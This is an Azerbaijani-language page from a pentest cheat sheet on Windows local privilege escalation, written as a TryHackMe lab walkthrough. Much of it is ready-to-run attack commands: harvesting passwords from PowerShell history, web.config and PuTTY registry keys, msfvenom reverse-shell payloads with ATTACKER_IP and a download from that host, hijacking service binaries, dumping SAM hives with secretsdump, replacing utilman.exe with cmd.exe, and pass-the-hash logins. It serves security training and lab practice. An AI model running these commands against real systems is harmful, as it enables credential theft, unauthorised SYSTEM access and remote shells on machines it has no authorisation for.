Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Windows İstifadəçiləri
  • Powershell Tarixçəsi
  • Sistemdə saxlanılan giriş məlumatları
  • IIS Konfiqurasiyası
  • PuTTY
  • Planlaşdırılmış Tapşırıqlar (Scheduled Tasks)
  • MSI
  • İcra edilə bilən servislərdə icazələr düzgün təyin edilmədikdə
  • Təhlükəli Xidmət İcazələri
  • Windows Səlahiyyətləri
  • SeBackup / SeRestore
  • SeTakeOwnership Səlahiyyəti
  • PASS-the-Hash

Was this helpful?

  1. AD Pentesting

Local Privilege Escalation

PreviousUseful Enumeration ToolsNextUseful Local Priv Esc Tools

Last updated 1 year ago

Was this helpful?

Səlahiyyətlərin yüksəldilməsi, A istifadəçisinin hədəf sistemdəki zəifliklərdən sui-istifadə edərək B istifadəçisi kimi sistemə giriş əldə etməsindən ibarətdir. Burada B kimi qeyd etdiyim istifadəçi adətən inzibati hüquqlara malik olandır, lakin bəzi hallarda inzibati imtiyazlar əldə etmək üçün digər imtiyazsız hesablara keçməli olduğumuz vəziyyətlər olur.

Windows İstifadəçiləri

İstifadəçilər
Səlahiyyətləri

Administrator

Bu istifadəçilər ən yüksək səlahiyyətlərə malikdirlər. Administratorlar istənilən konfiqurasiya parametrini dəyişə, sistemdəki istənilən fayla daxil ola bilərlər.

Standard İstifadəçi

Standart istifadəçilər sistemdə yalnız bəzi tapşırıqları yerinə yetirirlər. Bu istifadəçilər sistemdə daimi və ya mühüm dəyişikliklər edə bilməzlər və yalnız öz fayllarına giriş imkanları var.

İnzibati səlahiyyətlərə malik olan istənilən istifadəçi Administrators qrupunun, standart istifadəçilər isə Users qrupunun bir hissəsidir.

Əməliyyat sistemi tərəfindən yaradılan və istifadə edilən digər istifadəçilər:

SYSTEM / LocalSystem

Daxili tapşırıqları yerinə yetirmək üçün əməliyyat sistemi tərəfindən istifadə edilən hesabdır. Sistemdə olan bütün fayl və resurslara tam giriş imkanına malikdir, Administratordan daha yüksək səlahiyyətlərə malik olduğunu deyə bilərik.

Local Service

Windows xidmətlərini "minimum" imtiyazlarla idarə etmək üçün istifadə olunan hesabdır. Şəbəkə üzərindən əlaqə üçün anonim bağlantılardan istifadə edir.

Network Service

Windows xidmətlərini "minimum" imtiyazlarla idarə etmək üçün istifadə olunan hesabdır. Şəbəkə üzərindən qurulan əlaqələr üçün komputer etimadnamələrindən (credentials) istifadə edir.

Powershell Tarixçəsi

PowerShell'də PSReadline modulu əmrlərin redaktəsi və tarixçə funksionallığına cavabdehdir. Hər hansı bir əmr yerinə yetirildikdə, bu modul onları tarix (history) faylında saxlayır. İstifadəçi əvvəllər istifadəçi adı, parol kimi həssas məlumatlardan ibarət bir əmr icra edibsə, bu fayla baxmaq səlahiyyətlərin yüksəldilməs üçün yaxşı bir yoldur. Bu fayla baxmaq üçün aşağıdakı cmd əmrini icra edə bilərsiniz:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

%userprofile% parametri istifadəçinin profil qovluğunu göstərmək üçün istifadə olunur.

Bu əmri Powershell'də icra etmək üçün:

Get-content $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Bu nümunədə gördüyünüz kimi julia.jones istifadəçisinin parolu tarixçəyə baxaraq əldə edilə bilər.

Sistemdə saxlanılan giriş məlumatları

Aşağıdakı əmrdən istifadə edərək, kompüterdə saxlanmış etimadnamələrin(credentials) siyahısını görə bilərik.

cmdkey /list

Bu əmr əsasən, hədəf,etimadnamənin növü və etimadnamənin davamlılığı kimi məlumatlar verir. Məsələn:

Currently stored credentials:

Target: Domain:target=server1
Type: Domain Password
User: username

Bu nəticə, 'server1' adlı server üçün istifadəçi adı və şifrənin saxlanıldığını göstərir.

İndi isə aşağıdakı əmrdən istifadə edərək mike.katz üçün shell əldə edə bilərik:

runas /savecred /user:<itifadəçi-adı> cmd.exe

runas: Proqramı müxtəlif etimadnamələr ilə işə salmaq üçün istifadə olunan əmrdir.

/savecred: Bu parametr runas'a təqdim edilmiş etimadnamələri (istifadəçi adı və parol) saxlamağı əmr edir, bununl da istifadəçi hər dəfə əmri icra etdikdə onları yenidən daxil etmir.

IIS Konfiqurasiyası

İnternet Məlumat Xidmətləri (IIS) Windows serverlərində vebsaytları, veb proqramları və xidmətləri yerləşdirmək üçün Microsoft tərəfindən hazırlanmış veb server proqramıdır.IIS'də veb-saytların konfiqurasiyası web.config adlı faylda saxlanılır və burada databaza üçün parollar da saxlanıla bilər.Bu fayl 'C:\inetpub\wwwroot\web.config' və ya başqa qovluqda yerləşir.

Bu fayldan parol kimi həssas məlumatları əldə etmmək üçün onun databaza ilə əlaqəli hissələrinə baxmalıyıq. Bunun üçün aşağıdakı əmrdən istifadə edərək, nəticəni məqsədimizə uyğun olraq filterləyə bilərik.

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Bu əmr, C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config qovluğunda yerləşən faylın 'connectionString' olan hissələrini ekrana yazdırır.

Nümunədə gördüyünüz kimi, db_admin adlı istifadəçinin parolunu görmək mümkündür.

PuTTY

PuTTY açıq mənbəli terminal emulyatoru, serial konsolu və fayl transferi proqramıdır. O, SSH (Secure Shell), Telnet, rlogin və raw soket bağlantıları daxil olmaqla bir neçə şəbəkə protokolunu dəstəkləyir. PuTTY uzaq serverlər və şəbəkə cihazları ilə təhlükəsiz əlaqə yaratmaq üçün Windows əməliyyat sistemlərində geniş istifadə olunur.

PuTTY istifadəçilərə SSH parollarını saxlamağa icazə verməsə də, plaintext parollarının da olduğu proxy konfiqurasiyalarını saxlayır. Bu saxlanılmış proxy konfiqurasiyalarını əldə etmək üçün aşağıdakı əmrdən istifadə edə bilərsiniz.

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

reg query: Windows Registry'i sorğulamaq üçün istifadə edilən əmrdir.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions: PuTTY'nin sessiya konfiqurasiyalarını saxlandığı yoldur(path).

/f "Proksi": Axtarışın "Proksi" termini olan reyestr qeydləri üçün aparılmalı olduğunu göstərir.

/s : Bu seçim, axtarışın yalnız PuTTY Sessions reyestr açarını deyil, həm də onun altındakı bütün alt açarları (alt qovluqları) ehtiva etməsini təmin edir.

Nümunədə gördüyünüz kimi, yuxarıdakı əmrdən istifadə edərək thom.smith istifadəçisinin parolunu əldə etdim.

Planlaşdırılmış Tapşırıqlar (Scheduled Tasks)

Planlaşdırılmış Tapşırıqlar, Windows əməliyyat sistemlərində istifadəçilərə hər hansı bir tapşırığın müəyyən fasilələrlə və ya xüsusi hadisələrə cavab olaraq icrasını avtomatlaşdırmağa imkan verən daxili funksiyadır. Bu tapşırıqları listələmək üçün aşağıdakı əmrdən istifadə edilə bilər:

schtasks

Daha məqsədə uyğun nəticə almaq üçün aşağıdakı əmrdən istifadə edə bilərsiniz:

schtasks /tn <task> /fo list

Bu əmr qeyd edilən taska aid məlumatları list formatında çıxaracaq.

Planlaşdırılan tapşırıqlar düzgün qurulmadıqda səlahiyyətlərin yüksəldilməsi üçün sui-istifadə edilə bilər.Əgər tapşırıq yüksək imtiyazlarla binary və ya skript idarə edirsə and həmin fayla gedən yol düzgün qorunmursa, hücumçu tərəf həmin faylın kontentini zərərli bir skriptlə dəyişə bilər(məsələn, reverse shell).

Tapşırıqda icra ediləcək faylın icazələrini görmək üçün 'icacls' alətindən istifadə edə bilərik:

# Fayl üçün Girişə Nəzarət Siyahılarını (ACL) göstərir
icacls filename.txt
# İstifadəçiyə oxumaq və icra etmək icazələri verir
icacls filename.txt /grant:r John:(RX)
# İstifadəçinin yazma icazəsini əlindən alır
icacls filename.txt /deny Jane:(W)
# İstifadəçini ACL'dən çıxarır
icacls filename.txt /remove:g Alice

Praktiki nümunə:

/v parametrindən istifadə edərək tapşırıq haqqında daha geniş məlumat alıram və bu tapşırıq zamanı icra ediləcək faylı əldə edirəm.(C:\tasks\schtask.bat)

icacls vasitəsi ilə bu faylın icazələrinə baxıram, şəkildə də gördüyünüz kimi Users'in bu fayl üçün icazələri F (Full) kimi qeyd edilib.

Fayla yazmaq icazəmiz olduğu üçün onun kontentini reverse shell faylı ilə dəyişirəm.(Bu fayl labda bizə C:\tools\nc64.exe kimi verilir)

Real nümunələrdə adətən faylı icra etmək icazəmiz olmur, amma bu nümunədə aşağıdakı əmrdən istifadə edərək icra etmək mümkündür:

schtasks /run /tn vulntask

Və əlaqə qurulur!

MSI

Windows installer faylları (.msi faylları ) sistemdə proqramları quraşdırmaq üçün istifadə olunur. Bufayllar, onu başladan istifadəçinin imtiyaz səviyyəsi ilə işləsə də daha yüksək səlahiyyətlərlə işləmək üçün konfiqurasiya edilə bilər. Bu, bizə admin səlahiyyəti ilə işləyən zərərli MSI faylı yaratmağa və icra etməyə imkan verir.

Bu metod ilə səlahiyyət yüksəldilməsi prosesini icra edə bilmək üçün iki reyestr (registry) dəyəri təyin edilməlidir (HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer və HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer)

Bu reyestrləri sorğuıamaq üçün:

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Hər iki reyestr təyin edilibsə, reverse shell faylı hazırlayaraq sistemdə icra edə bilərik:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<hücum-edənin-ip-ünvanı> LPORT=<əlaqə-qurulacaq-port> -f msi -o yusif.msi

Bu faylı hədəf sistemə yüklədikdən sonra netcat və ya Metasploit Handler ilə əlaqə üçün dinləyirik və onu icra edirik:

msiexec /quiet /qn /i C:\Windows\Temp\yusif.msi

/quiet /qn : Bu parametrlər Windows Installer'ə səssiz quraşdırma yerinə yetirməyi tapşırır, yəni quraşdırma prosesi heç bir istifadəçi interfeysi və ya göstərişlər göstərilmədən baş verir. Həm /quiet, həm də /qn eyni məqsədə xidmət edir.

/i : bu parametr quraşdırma əməliyyatının yerinə yetirilməli olduğunu göstərir.

İcra edilə bilən servislərdə icazələr düzgün təyin edilmədikdə

Windows xidmətləri Xidmət İdarəetmə Meneceri (SCM) tərfindən idarı edilir.Xidmətlər, arxa planda işləyən və əməliyyat sisteminin funksionallığını təmin edən proqramlardır. Windows'da hər bir xidmət icraedici sənədə(executable) sahib olur ki, bu, xidmət işə başladığı zaman SCM tərəfindən işə salınır.

Xidmətlər haqqında məlumat almaq üçün 'sc' (service control) alətindən istifadə edilə bilər. Bu alət, SCM ilə əlaqə qurur və bizə məlumat qaytarır. Xüsusi bir servis haqqında məlumat üçün 'query' və ya 'qc' parametrindən istifadə olunur.

sc query wuauserv
sc qc wuauserv

Xidməti başlatmaq üçün:

sc start wuauserv

Dayandırmaq üçün:

sc stop wuauserv
sc qc WindowsScheduler

Bu əmrdən istifadə edərək WindowsScheduler xidmətini sorğulayırıq və bu nəticəni əldə edirik:

Burada BINARY_PATH_NAME:C:\PROGRA2\SYSTEM1\WService.exe WindowsScheduler xidməti ilə əlaqəli olaraq icra edilən faylı gostərir. icacls alətindən istifadə edərək bu fayla yazma icazəmizin olub-olmadığını görə bilərik.

Everyone:(I)(M) o deməkdir ki, hər kəsin bu faylı dəyişdirmək icazəsi var. İndi msfvenom'dan istifadə edərək bir reverse shell hazırlayıb bu faylı dəyişdirə bilərik.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe-service -o yusif.exe

Bu faylı Windows'a yükləmək üçün ubuntuda bir http veb-serve başladıram və wget əmri ilə onu sistemə yükləyirəm:

python3 -m http.server
wget http://ATTACKER_IP:8000/yusif.exe -O yusif.exe

İndi isə aşağıdakı addımlarla faylı dəyişdirirəm:

# Faylın yerləşdiyi qovluğa keçirəm
cd C:\PROGRA~2\SYSTEM~1\

# Orijinal WService.exe faylını backup faylına köçürürəm
move WService.exe WService.exe.bkp

# Orijinal WService.exe faylını yusif.exe adlı yeni fayl ilə əvəz edirəm.
move C:\Users\thm-unpriv\yusif.exe WService.exe

# Dəyişdirilmiş WService.exe faylı üçün hər kəsə tam giriş imkanı verirəm
icacls WService.exe /grant Everyone:F

Artıq netcat alətindən istifadə edrək arxada əlaqə üçün dinləyirəm:

nc -lvnp 4444

sc ilə xidməti dayandırıb, yenidən başladıram:

sc stop windowsscheduler
sc start windowsscheduler

Və əlaqə qurulur! Indi svcusr1 kimi sistemə daxil olub, tələb olunan flag.txt faylını oxuya bilərik.

Təhlükəli Xidmət İcazələri

İstifadəsi:

accesschk64.exe -qlc <xidmətin-adı>

-q: Sakit rejimi təyin edir

-l : Obyektləri və onların xassələrini listələyir

-c : Yoxlanılacaq obyektin xidmət olduğunu göstərir

Əgər istifadəçinin xidməti konfiqurasiya edə bilmək kimi icazəsi varsa, servisin executable( icra oluna bilən) faylını reverse shell ilə dəyişə bilərik. Aşağıdakı nümunədə bu metoddan istifadə olunur:

Accesschk ilə servisin icazələrini yoxladıqda BUILTIN\Users'in SERVICE_ALL_ACCESS icazəsi olduğunu görürəm.Bu o deməkdir ki, servisi konfiqurasiya edə bilərik.

İndi msfvenom'dan istifadə edərək öz reverse shell'mi qura və onu hədəf sistemə yükləyərək əlaqə üçün dinləməyə başlaya bilərəm.

Aşağıdakı əmrdən istifadə edərək bu fayla 'hər kəs icra edə bilər' icazəsini verirəm:

icacls C:\Users\thm-unpriv\yusif.exe /grant Everyone:F

Növbəti olaraq, bu əmri cra edərək "THMService" xidmətinin executable faylını yusif.exe olaraq təyin edirəm.

sc config THMService binPath= "C:\Users\thm-unpriv\yusif.exe" obj= LocalSystem

Əlaqənin qurulması üçün xidməti başladıram:

sc start THMService

Və shell'i əldə edirəm!

Windows Səlahiyyətləri

Səlahiyyətlər, hesabın sistemlə bağlı xüsusi tapşırıqları yerinə yetirmək üçün malik olduğu hüquqlardır. Windows'da hər bir istifadəçinin səlahiyyətləri aşağıdakı əmr ilə yoxlana bilər:

whoami /priv

Bu nümunədə aşağıdakı səlahiyyətləri görürük:

SeShutdownPrivilege : İstifadəçiyə sistemi bağlamaq imkanı verir. Vəziyyəti: Disabled - Bu, imtiyazın hazırda qeyri-aktiv olduğunu bildirir. Bu imtiyazı olmayan istifadəçilər sistemi bağlaya bilmir.

SeChangeNotifyPrivilege : Serverə və ya workspace'ə traverse yoxlamasını bypass etməyə imkan verir. Traverse yoxlanışı, istifadəçinin açıq icazələri olmasa belə, bir fayl və ya qovluğa daxil olub-olmamasını müəyyən edən təhlükəsizlik tədbiridir. Vəziyyət: Enabled - Bu imtiyaz hazırda aktivdir, yəni sistem travers yoxlamasını bypass edə bilər.

SeUndock Privilege : İstifadəçiyə kompüteri dok stansiyasından çıxarmağa imkan verir. Vəziyyət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyazı olmayan istifadəçilər kompüteri dok stansiyasından çıxara bilmir.

SeIncreaseWorkingSetPrivilege : Prosesin RAM-da istifadə edə biləcəyi fiziki yaddaşın miqdarı olan iş dəstinin ölçüsünü artırmağa imkan verir. Vəziyyət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyaz olmadan işləyən proseslər öz iş dəstini dinamik şəkildə artıra bilməyəcək.

SeTimeZone Privilege : İstifadəçiyə sistemin saat qurşağını dəyişməyə imkan verir. Dövlət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyazı olmayan istifadəçilər sistemin saat qurşağını dəyişə bilmir.

SeBackup / SeRestore

SeBackup və SeRestore səlahiyyətləri istifadəçilərə hər hansı DACL'ə məhəl qoymadan sistemdəki istənilən faylı oxumağa və yazmağa imkan verir. Bu imtiyazın arxasında duran ideya müəyyən istifadəçilərə tam inzibati imtiyazlar tələb etmədən sistemdən ehtiyat nüsxələri çıxarmağa icazə verməkdir.

Aşağıdakı nümunədə bu səlahiyyətdən istifadə edərək hücum həyata keçirəcəyik:

SAM and SYSTEM hash'lərini backup etmək üçün aşağıdakı əmrlərdən istifadə edə bilərik:

reg save hklm\system C:\Users\<backup-folder-name>\system.hive
reg save hklm\sam C:\Users\<backup-folder-name>\sam.hive

Bu faylları öz maşınımıza göndərdikdən sonra etimadnamələri çəkmək üçün Impacket alət dəstindən secretsdump.py skriptindən istifadə edə bilərik:

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

python3.9 : Bu istifadə ediləcək Python interpreterin versiyasını təyin edir.

/opt/impacket/examples/secretsdump.py: secretsdump.py skriptinə gedən yoldur.

-sam sam.hive: SAM hive faylının yoludur

-system system.hive: SYSTEM faylına gedən yoldur

LOCAL : Bu hədəf sistem və ya domendir. Bu halda, local maşından etimadnamələrin dump edildiyini göstərir.

İndi, Windows maşınından administrator kimi shell əldə etmək üçün Pass-the-Hash hücumu həyata keçirəcəyik. Bunun üçün Impacket alətlər dəstindəki psexec.py skriptindən istifadə edirik:

python3.9 /opt/impacket/examples/psexec.py -hashes <hash-dəyəri> administrator@<maşının-ip-ünvanı>

Və shell'i əldə edirik!

SeTakeOwnership Səlahiyyəti

SeTakeOwnership səlahiyyətiı istifadəçiyə sistemdəki istənilən obyektə,faylla və reyestr açarlarına sahib olmağa imkan verir və hücumçuya imtiyazları yüksəltmək üçün bir çox imkanlar verir. Məsələn, SYSTEM kimi işləyən bir xidməti axtarıb, həmin xidmətin executable faylının sahibliyini götürə bilərik.

Aşağıdakı nümunədə utilman.exe faylından istifadə edəcəyik. Utilman.exe (Utility Manager) sistem əlçatanlıq aləti olan Utility Manager proqramını işə salan Windows'da icra edilə bilən faylıdır.Utilman SYSTEM imtiyazları ilə işlədiyindən, orijinal binary faylını öz payload'ımızla əvəz edib, sistem imtiyazları əldə edə bilərik. Amma SeTakeOwnership Səlahiyyəti ilə istədiyimiz faylın sahibi ola bildiyimiz üçün onu əvəz etmək bu vəziyyətdə mənasızdır.

Faylın sahibliyini əldə etmək üçün takeown alətindən istifadə edə bilərik:

takeown /f <faylın-adı>

Faylın sahibi olmaq onun üçün bütün imtiyazlara sahib olmağı ifadə etmir, amma biz sahib kimi özümüzə icazələr verə bilərik:

icacls <faylın-adı> /grant <İstifadəçi>:F

Daha sonra utilman.exe faylını cmd.exe faylının surəti ilə əvəz edirik:

copy cmd.exe utilman.exe

Utilman.exe faylını işə salmaq üçün hesabı kilidləyirik və "Ease of Access"'dən istifadə edirik, hansı ki, utilman.exe faylını SYSTEM səlahiyyəti ilə işə salır. Biz bu faylı cmd.exe nüsxəsi ilə əvəz etdiyimiz üçün SYSTEM imtiyazları ilə cmd əldə edirik.

PASS-the-Hash

Hash əldə edilibsə onu qırmağa ehtiyac yoxdur, hash'dən istifadə edərək autentifikasiya etmək mümkündür. Bunun üçün aşağıdakı əmrdən sitifadə edə bilərsiniz:

pth-winexe -U 'DOMAIN/username%hash' //MACHINE_IP 'command'
pth-winexe -U 'WORKGROUP/admin%hash' //MACHINE_IP cmd.exe

Bu əmrlərdə pth-winexe aləti pass-the-hash (PTH) autentifikasiyasından istifadə edərək uzaq Windows maşınına autentifikasiya edir.

Windows Privilege Escalation haqqında daha çox məlumat üçün aşağıdakı keçidlərə baxa bilərsiniz:

  • ⚠️ Yalnız Windows Server 2016 və Windows 10 1803 yamasına qədər işləyir

  • ⚠️ Yalnız Windows Server 2016 və Windows 10 1803 yamasına qədər işləyir

  • 🙏 Windows Server 2019 və Windows 10 üçün işləyir

  • 🙏 Windows Server 2019 və Windows 10 üçün işləyir

Praktiki nümayiş üçün istifadə edəcəyim TryHackMe labına keçid edə bilərsiniz.

Xidmətlə əlaqəli icra olunan fayl üçün icazələr düzgün təyin edilməzsə, hücumçu onu dəyişdirə və digər istifadəçilərin hesabına giriş əldə edə bilər. Bu metodu ilə praktiki göstərək:

DACL, “Discretionary Access Control List”in qısaltmasıdır.DACL, hər bir istifadəçi və ya istifadəçi qrupu üçün müəyyən edilmiş giriş icazələrini ehtiva edir. Bu icazələr istifadəçilərə müəyyən əməliyyatlar həyata keçirmək və ya obyektə daxil olmaq hüququ verir. Məsələn, faylın DACL'də hər hansı bir istifadəçiyə "Oxu və Yaz" icazəsi, digər istifadəçiyə isə yalnız "Oxu" icazəsi verilə bilər. Xidmətlər üçün bu listi əldə etmək üçün Accesschk istifadı edilə bilər. Onu istifadə edərək yükləyə bilərsiniz.

Sistem Təqlidi üçün SeImpersonate və ya SeAssignPrimaryToken imtiyazlarından sui-istifadə edir.

Avtomatlaşdırılmış Juicy Potato

Sistem Təqlidi üçün PrinterBug-dan istifadə edir

Təkmilləşdirilmiş Juicy Potato

buradan
bu TryHackMe labı
bu keçiddən
Windows Privilege Escalation CheatSheet
Juicy Potato
Lovely Potato
PrintSpoofer
RoguePotato
Abusing Token Privileges
SMBGhost CVE-2020-0796
PoC
Əmrin cmd'də icrası
Powershell
cmdkey əmri ilə mike.katz istifadəçisini tapırıq
netcat ilə arxada reverse shell üçün dinləyirəm